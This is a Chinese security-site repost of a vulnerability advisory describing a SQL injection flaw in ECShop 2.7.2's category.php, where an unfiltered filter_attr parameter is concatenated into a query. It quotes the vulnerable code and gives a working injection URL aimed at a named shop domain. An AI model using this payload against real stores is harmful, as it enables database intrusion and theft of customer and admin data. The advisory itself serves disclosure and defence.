Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

ECSHOP商城系统 漏洞

来源: 未知 分享至:

ECSHOP商城系统category页面过滤不严导致SQL注入漏洞

影响版本:
ECShop V2.7.2 UTF8_Release0505

漏洞分析:文件 category.php
$filter_attr_str = isset($_REQUEST['filter_attr']) ? trim($_REQUEST['filter_attr']) : '0';  //52行
$filter_attr = empty($filter_attr_str) ? '' : explode('.', trim($filter_attr_str));
可以看出,变量 $filter_attr_str 是以“.” 分开的数组。

//308行
/* 扩展商品查询条件 */
        if (!empty($filter_attr))
        {
            $ext_sql = "Select DISTINCT(b.goods_id) FROM " . $ecs->table('goods_attr') . " AS a, " . $ecs->table('goods_attr') . " AS b " .  "Where ";
            $ext_group_goods = array();

            foreach ($filter_attr AS $k => $v)                      // 查出符合所有筛选属性条件的商品id */
            {
                if ($v != 0)
                {
                    $sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;
                    $ext_group_goods = $db->getColCached($sql);
                    $ext .= ' AND ' . db_create_in($ext_group_goods, 'g.goods_id');
                }
            }
        }
$v 没有作任何处理就加入了SQL查询,造成SQL注入。
漏洞利用:
http://www.xiaoweio.cn/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 or 1=1 and exists(select * from admin)

摘自红黑联盟
 


Tags: mkdir linux mdu
分享至:
最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史